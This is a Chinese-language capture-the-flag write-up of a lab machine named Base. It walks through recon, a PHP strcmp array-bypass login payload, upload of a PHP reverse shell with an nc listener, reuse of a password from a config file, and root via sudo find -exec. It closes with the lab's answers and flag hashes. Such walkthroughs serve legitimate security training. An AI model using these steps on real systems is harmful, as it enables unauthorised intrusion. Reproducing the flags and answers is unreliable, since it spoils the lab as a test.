AI摘要:该文章记录了一次渗透测试,通过Nmap和Gobuster发现目标服务器开放了22和80端口,并存在登录页面。利用`strcmp`函数的类型混淆漏洞,通过传入数组绕过身份验证,成功上传webshell并获取反向shell。随后,通过查看配置文件获取数据库密码,并利用`sudo -i`和find命令提权至root,最终获取user.txt和root.txt标志。

本机Ip:10.10.16.2
目标Ip:10.129.95.184

首先收集信息

nmap -sC -sV 10.129.95.184

Pasted image 20250719134220.png

gobuster dir -u http://10.129.95.184 -w /usr/share/wordlists/dirb/big.txt

Pasted image 20250719141642.png
整理出得到的有效信息

/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/_uploaded            (Status: 301) [Size: 318] [--> http://10.129.95.184/_uploaded/]
/assets               (Status: 301) [Size: 315] [--> http://10.129.95.184/assets/]
/forms                (Status: 301) [Size: 314] [--> http://10.129.95.184/forms/]
/login                (Status: 301) [Size: 314] [--> http://10.129.95.184/login/]
/server-status        (Status: 403) [Size: 278]

访问它们
Pasted image 20250719142150.png
下载login.php.swp

strings login.php.swp

内容:

b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"! 
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
                <div class="form-group">
              <div class="row" align="center">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
          <div class="col-lg-12 mt-5 mt-lg-0">
        <div class="row mt-2">
        </div>
          <p>Use the form below to log into your account.</p>
          <h2>Login</h2>
        <div class="section-title mt-5" >
      <div class="container" data-aos="fade-up">
    <section id="login" class="contact section-bg" style="padding: 160px 0">
    <!-- ======= Login Section ======= -->
  </header><!-- End Header -->
    </div>
      </nav><!-- .navbar -->
        <i class="bi bi-list mobile-nav-toggle"></i>
        </ul>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
        <ul>
      <nav id="navbar" class="navbar">
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <!-- Uncomment below if you prefer to use an image logo -->
      <h1 class="logo"><a href="index.html">BASE</a></h1>
    <div class="container d-flex align-items-center justify-content-between">
  <header id="header" class="fixed-top">
  <!-- ======= Header ======= -->
<body>
</head>
  <link href="../assets/css/style.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Google Fonts -->
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <link href="../assets/img/favicon.png" rel="icon">
  <!-- Favicons -->
  <meta content="" name="keywords">
  <meta content="" name="description">
  <title>Welcome to Base</title>
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
  <script src="../assets/js/main.js"></script>

Web服务器正在使用strcmp来检查用户名和密码,这是不安全的,可以轻松地绕开。让我们打开yakit并捕获登录请求。以下代码存在问题:
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username , $_POST['username']) == 0) {

类型混淆(Type Juggling) + strcmp 绕过

PHP 的 strcmp() 在遇到数组时,会返回 NULL,而 strcmp(...) == 0 的判断就会失败或出错。
然而在 PHP 中:

strcmp("admin", $_POST['username']) == 0

如果你传的是 username[]=admin,那么 $_POST['username'] 是一个数组,执行时将变为:

strcmp("admin", array('admin')) == 0

此时 strcmp() 返回 NULL,并发出 PHP Warning,但 整个 if 判断会被跳过 或意外通过,这就造成了认证绕过

我们使用yakit劫持响应

username=admin&password=admin

改成

username[]=admin&password[]=admin

Pasted image 20250719145005.png

成功登陆
Pasted image 20250719145121.png
上传kali自带的webshell:/usr/share/webshells/php/php-reverse-shell.php
将回连ip改为本机ip:10.10.16.2
启动监听

nc -lvnp 1234

根据之前的扫描结果,推断上传路径为

http://10.129.95.184/_uploaded/php-reverse-shell.php

获得回显,成功连接上
Pasted image 20250719145853.png
查看web配置文件
Pasted image 20250719145949.png
账号:admin
密码:thisisagoodpassword

我们还可以查看/etc/passwd以找到用户名john。
Pasted image 20250719150416.png
让我们升级到交互式shell,pty shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
su john

Pasted image 20250719150554.png
提权成功
进入john用户目录,拿下用户标识
Pasted image 20250719151023.png
user.txt:f54846c258f3b4612f78a819573d158e
接着我们需要想办法提权到root

sudo -i

Pasted image 20250719151230.png
这么看来我们可以将find作为sudo 运行。

sudo /usr/bin/find /etc -exec /bin/bash \;

Pasted image 20250719151436.png
接着就是直接去root文件夹下拿根用户标识了
Pasted image 20250719151642.png
根用户标识:51709519ea18ab37dd6fc58096bea949

最后回答相应的问题
1:远程主机上打开了哪两个 TCP 端口?

22,80

2.登录页面在网络服务器上的相对路径是什么?

/login/login.php

3.“/login”目录中有多少个文件?

3

4.交换文件的文件扩展名是什么?

.swp

5.后端代码中使用哪个 PHP 函数将用户提交的用户名和密码与有效的用户名和密码进行比较?

strcmp()

6.上传的文件存放在哪个目录?

/_uploaded

7.远程主机上有哪些用户拥有主目录?

john

8.系统中当前用户的密码是什么?

thisisagoodpassword

9.用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?

/usr/bin/find

10.find 命令可以使用什么动作来执行命令?

exec

11.提交用户标志

f54846c258f3b4612f78a819573d158e

12.提交根标志

51709519ea18ab37dd6fc58096bea949
最后修改:2025 年 07 月 27 日
如果觉得我的文章对你有用,请随意赞赏